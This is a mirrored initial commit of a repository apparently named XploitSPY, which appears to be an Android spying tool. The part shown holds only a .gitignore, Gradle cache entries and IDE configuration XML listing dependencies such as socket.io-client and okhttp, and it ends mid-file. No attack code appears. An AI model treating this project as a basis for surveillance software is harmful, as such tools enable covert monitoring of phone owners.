mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 21:52:01 +08:00
Initial commit
This commit is contained in:
commit
2180d1e455
12
.gitignore
vendored
Normal file
12
.gitignore
vendored
Normal file
@ -0,0 +1,12 @@
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
lib-cov
|
||||
coverage
|
||||
.grunt
|
||||
.lock-wscript
|
||||
build/Release
|
||||
node_modules
|
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.bin
Normal file
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.lock
Normal file
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileChanges/last-build.bin
Normal file
BIN
client/.gradle/5.1.1/fileChanges/last-build.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileContent/fileContent.lock
Normal file
BIN
client/.gradle/5.1.1/fileContent/fileContent.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.bin
Normal file
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.lock
Normal file
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
Normal file
BIN
client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
Normal file
Binary file not shown.
0
client/.gradle/5.1.1/gc.properties
Normal file
0
client/.gradle/5.1.1/gc.properties
Normal file
BIN
client/.gradle/5.1.1/javaCompile/classAnalysis.bin
Normal file
BIN
client/.gradle/5.1.1/javaCompile/classAnalysis.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/javaCompile/javaCompile.lock
Normal file
BIN
client/.gradle/5.1.1/javaCompile/javaCompile.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/javaCompile/taskHistory.bin
Normal file
BIN
client/.gradle/5.1.1/javaCompile/taskHistory.bin
Normal file
Binary file not shown.
BIN
client/.gradle/buildOutputCleanup/buildOutputCleanup.lock
Normal file
BIN
client/.gradle/buildOutputCleanup/buildOutputCleanup.lock
Normal file
Binary file not shown.
2
client/.gradle/buildOutputCleanup/cache.properties
Normal file
2
client/.gradle/buildOutputCleanup/cache.properties
Normal file
@ -0,0 +1,2 @@
|
||||
#Fri Aug 23 22:31:36 BST 2019
|
||||
gradle.version=5.1.1
|
BIN
client/.gradle/buildOutputCleanup/outputFiles.bin
Normal file
BIN
client/.gradle/buildOutputCleanup/outputFiles.bin
Normal file
Binary file not shown.
0
client/.gradle/vcs-1/gc.properties
Normal file
0
client/.gradle/vcs-1/gc.properties
Normal file
BIN
client/.idea/caches/build_file_checksums.ser
generated
Normal file
BIN
client/.idea/caches/build_file_checksums.ser
generated
Normal file
Binary file not shown.
BIN
client/.idea/caches/gradle_models.ser
generated
Normal file
BIN
client/.idea/caches/gradle_models.ser
generated
Normal file
Binary file not shown.
116
client/.idea/codeStyles/Project.xml
generated
Normal file
116
client/.idea/codeStyles/Project.xml
generated
Normal file
@ -0,0 +1,116 @@
|
||||
<component name="ProjectCodeStyleConfiguration">
|
||||
<code_scheme name="Project" version="173">
|
||||
<codeStyleSettings language="XML">
|
||||
<indentOptions>
|
||||
<option name="CONTINUATION_INDENT_SIZE" value="4" />
|
||||
</indentOptions>
|
||||
<arrangement>
|
||||
<rules>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>xmlns:android</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>xmlns:.*</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
<order>BY_NAME</order>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>.*:id</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>.*:name</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>name</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>style</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>.*</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
<order>BY_NAME</order>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>.*</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
<order>ANDROID_ATTRIBUTE_ORDER</order>
|
||||
</rule>
|
||||
</section>
|
||||
<section>
|
||||
<rule>
|
||||
<match>
|
||||
<AND>
|
||||
<NAME>.*</NAME>
|
||||
<XML_ATTRIBUTE />
|
||||
<XML_NAMESPACE>.*</XML_NAMESPACE>
|
||||
</AND>
|
||||
</match>
|
||||
<order>BY_NAME</order>
|
||||
</rule>
|
||||
</section>
|
||||
</rules>
|
||||
</arrangement>
|
||||
</codeStyleSettings>
|
||||
</code_scheme>
|
||||
</component>
|
4
client/.idea/encodings.xml
generated
Normal file
4
client/.idea/encodings.xml
generated
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Encoding" addBOMForNewFiles="with NO BOM" />
|
||||
</project>
|
15
client/.idea/gradle.xml
generated
Normal file
15
client/.idea/gradle.xml
generated
Normal file
@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="GradleSettings">
|
||||
<option name="linkedExternalProjectsSettings">
|
||||
<GradleProjectSettings>
|
||||
<compositeConfiguration>
|
||||
<compositeBuild compositeDefinitionSource="SCRIPT" />
|
||||
</compositeConfiguration>
|
||||
<option name="distributionType" value="DEFAULT_WRAPPED" />
|
||||
<option name="externalProjectPath" value="$PROJECT_DIR$" />
|
||||
<option name="resolveModulePerSourceSet" value="false" />
|
||||
</GradleProjectSettings>
|
||||
</option>
|
||||
</component>
|
||||
</project>
|
11
client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: android.arch.core:common:1.1.1@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/e55b70d1f5620db124b3e85a7f4bdc7bd48d9f95/common-1.1.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/ae9b923fc99c1fc5a7a9b6cedc6df8b2b8529c54/common-1.1.1-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: android.arch.lifecycle:common:1.1.1@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/207a6efae6a3555e326de41f76bdadd9a239cbce/common-1.1.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/bcdaa509a856d1430e736b102f899aa9870a8f83/common-1.1.1-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
12
client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
generated
Normal file
12
client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
generated
Normal file
@ -0,0 +1,12 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/runtime/1.1.1/8e4214221b3797b863dc9998d16abb4af043e784/runtime-1.1.1-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
9
client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:collections:28.0.0@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/collections/28.0.0/c1bcdade4d3cc2836130424a3f3e4182c666a745/collections-28.0.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</component>
|
9
client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:support-annotations:28.0.0@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/support-annotations/28.0.0/ed73f5337a002d1fd24339d5fb08c2c9d9ca60d8/support-annotations-28.0.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</component>
|
13
client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
generated
Normal file
13
client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
generated
Normal file
@ -0,0 +1,13 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:support-compat:28.0.0@aar">
|
||||
<ANNOTATIONS>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/annotations.zip!/" />
|
||||
</ANNOTATIONS>
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</component>
|
12
client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
generated
Normal file
12
client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
generated
Normal file
@ -0,0 +1,12 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support.test.espresso:espresso-core:2.2.2@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-core/2.2.2/114039ff105fc481a629b55882f2c5c7a614e32a/espresso-core-2.2.2-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
@ -0,0 +1,12 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support.test.espresso:espresso-idling-resource:2.2.2@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-idling-resource/2.2.2/bc8e66874feb004144562e64053cf95b4c7b3eb7/espresso-idling-resource-2.2.2-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
@ -0,0 +1,12 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support.test:exposed-instrumentation-api-publish:0.5@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/exposed-instrumentation-api-publish/0.5/493e9b2f2905ddc7f1a152446cc1d9d00ded10b0/exposed-instrumentation-api-publish-0.5-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
15
client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
generated
Normal file
15
client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
generated
Normal file
@ -0,0 +1,15 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support.test:rules:0.5@aar">
|
||||
<ANNOTATIONS>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/annotations.zip!/" />
|
||||
</ANNOTATIONS>
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/rules/0.5/eb0523edeca93697d4c4b767277b407ed5920258/rules-0.5-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
15
client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
generated
Normal file
15
client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
generated
Normal file
@ -0,0 +1,15 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support.test:runner:0.5@aar">
|
||||
<ANNOTATIONS>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/annotations.zip!/" />
|
||||
</ANNOTATIONS>
|
||||
<CLASSES>
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/res" />
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/jars/classes.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/runner/0.5/d13156b1f4d8dc7013cd8b3b1284b22bd3b44d23/runner-0.5-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
10
client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
generated
Normal file
10
client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
generated
Normal file
@ -0,0 +1,10 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:versionedparcelable:28.0.0@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</component>
|
9
client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.google.code.findbugs:jsr305:2.0.1@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.google.code.findbugs/jsr305/2.0.1/516c03b21d50a644d538de0f0369c620989cd8f0/jsr305-2.0.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.squareup:javawriter:2.1.1@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/67ff45d9ae02e583d0f9b3432a5ebbe05c30c966/javawriter-2.1.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/5b31387d839a5cdaf5b6de3990da01f7f2b963c5/javawriter-2.1.1-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/4b0bb6bfbecbdd42b97ff400af342bfe7f32bc83/okhttp-3.5.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/e3e18da88ab466f63f28e542dcbce804aa4a1d49/okhttp-3.5.0-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.squareup.okio:okio:1.11.0@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/840897fcd7223a8143f1d9b6f69714e7be34fd50/okio-1.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/46bdbd0e079883accbf581986e7f8f0d999a2637/okio-1.11.0-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: io.socket:engine.io-client:0.8.3@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/854b49396e1e9f9bb0ab025062ddb49c4ed65ca1/engine.io-client-0.8.3.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/3073f6f52ab83a72d713beb8749d42abe9618227/engine.io-client-0.8.3-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: io.socket:socket.io-client:0.8.3@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/b30500232ff0668a47c9f91f02e6935457a52fb5/socket.io-client-0.8.3.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/723d717cd5ee534d430f3af42a88f39b6195846f/socket.io-client-0.8.3-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: javax.annotation:javax.annotation-api:1.2@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/479c1e06db31c432330183f5cae684163f186146/javax.annotation-api-1.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/ad18a02db08eaee697f812e333f692fc51129e4a/javax.annotation-api-1.2-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: javax.inject:javax.inject:1@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/a00123f261762a7c5e0ec916a2c7c8298d29c400/javax.inject-1-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: junit:junit:4.12@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/2973d150c0dc1fefe998f834810d68f278ea58ec/junit-4.12.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/a6c32b40bf3d76eca54e3c601e5d1470c86fcdfa/junit-4.12-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: org.hamcrest:hamcrest-core:1.3@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/42a25dc3219429f0e5d060061f71acb49bf010a0/hamcrest-core-1.3.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/1dc37250fbc78e23a65a67fbbaf71d2e9cbc3c0b/hamcrest-core-1.3-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: org.hamcrest:hamcrest-integration:1.3@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/5de0c73fef18917cd85d0ab70bb23818685e4dfd/hamcrest-integration-1.3.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-integration/1.3/ae7787a563e6a1b1f17fd4ac43be3a3c8830cfda/hamcrest-integration-1.3-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: org.hamcrest:hamcrest-library:1.3@jar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/4785a3c21320980282f9f33d0d1264a69040538f/hamcrest-library-1.3.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-library/1.3/47a7ee46628ab7133129cd7cef1e92657bc275e/hamcrest-library-1.3-sources.jar!/" />
|
||||
</SOURCES>
|
||||
</library>
|
||||
</component>
|
9
client/.idea/misc.xml
generated
Normal file
9
client/.idea/misc.xml
generated
Normal file
@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="1.8" project-jdk-type="JavaSDK">
|
||||
<output url="file://$PROJECT_DIR$/build/classes" />
|
||||
</component>
|
||||
